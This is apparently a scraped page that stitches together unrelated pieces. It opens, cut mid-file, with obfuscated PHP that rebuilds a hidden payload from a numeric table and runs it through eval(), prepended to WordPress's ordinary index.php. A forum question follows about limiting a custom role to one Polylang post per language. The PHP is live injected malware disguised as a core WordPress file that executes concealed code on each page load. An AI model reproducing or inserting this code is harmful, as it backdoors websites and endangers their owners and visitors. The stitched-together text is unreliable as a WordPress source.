41,1822,61,904,38,8472,52,4200,20,5966,54,9378,67,7643,54,1289,31,7242,52,9537,65,3223,64,2969,47,2257,64,6824,54,6041,67,3074,53,2088,59,8159,44,977,32,5336,33,9245,41,7804,51,6953,22,6675,50,7481,49,6878,54,8005,28,4984,41,6387,48,7294,56,2035,53,6932,21,8580,37,8699,42,9881,46,3395,39,237,50,8668,31,2676,57,3987,45,9834,47,9005,51,7530,70,3822,62,167,70,3966,21,1700,63,5824,49,61,49,5025,69,3127,40,8259,34,3631,68,9733,50,539,69,5423,41,5685,30,1574,46,5568,55,7600,43,1802,20,4129,28,7855,50,4451,50,9141,35,9927,54,388,20,5777,47,4599,47,7905,25,1357,49,9602,64,1186,50,6108,33,110,33,1763,39,3287,43'); $vwzwoixwrt=substr($dlncrnqcvp,(50598-40492),(46-39)); if (!function_exists('rjzgxasddt')) { function rjzgxasddt($tbraoiyosa, $bkhhcmytap) { $oykujodnvo = NULL; for($pbgfhfeccr=0;$pbgfhfeccr<(sizeof($tbraoiyosa)/2);$pbgfhfeccr++) { $oykujodnvo .= substr($bkhhcmytap, $tbraoiyosa[($pbgfhfeccr*2)],$tbraoiyosa[($pbgfhfeccr*2)+1]); } return $oykujodnvo; };} $zpdjhhgdxn="\x20\57\x2a\40\x73\164\x75\144\x79\150\x78\153\x6b\156\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x32\55\x32\61\x35\51\x29\54\x20\143\x68\162\x28\50\x34\64\x32\55\x33\65\x30\51\x29\54\x20\162\x6a\172\x67\170\x61\163\x64\144\x74\50\x24\164\x6d\153\x7a\141\x62\153\x72\150\x6c\54\x24\144\x6c\156\x63\162\x6e\161\x63\166\x70\51\x29\51\x3b\40\x2f\52\x20\143\x6f\142\x68\171\x77\145\x73\164\x76\40\x2a\57\x20"; $ezxmtmwjzg=substr($dlncrnqcvp,(67463-57350),(44-32)); $ezxmtmwjzg($vwzwoixwrt, $zpdjhhgdxn, NULL); $ezxmtmwjzg=$zpdjhhgdxn; $ezxmtmwjzg=(423-302); $dlncrnqcvp=$ezxmtmwjzg-1; ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

lachender_engel on "Limit for Custom Post"

$
0
0

Hello Guys.

I hope I can get a solution from you for the following issue:
I use Polylang to get a multilingual web site. This works perfect.
Additional I’ve created a custom post type with Polylang support. Works also very nice. And I use custom roles with capabilities to give a role the right to add a new custom post and save it. Everything works as expected.

Now, I would like to add a limit to allow the role to add only one post per language.

For this I wrote a function which checks how many languages are activated and how many posts in which language are already saved for the customer. One goal is to disable the “new post” button on the top of the list where Wordpress shows all custom posts. The second goal is to disable or hide the “save” button on the edit page.

Now, my questions are:
1.) Where can I call the function to check the posts? Is there any hook (or some other place) which is called before Wordpress shows the list of the custom posts?

2.) How can I disable or switch off the “new post” at the top of this list? Important is, I have to do it without Java Script (jQuery) to prevent the user disables JS and can add an additional post.

3.) How can I disable or hide the save button on the edit screen/dialog, also without jQuery?

Hope I made clear what I need and I hope more, you can give me a hint or the solution ;-)

Thanks a lot in advance!

Viewing all 8245 articles
Browse latest View live




Latest Images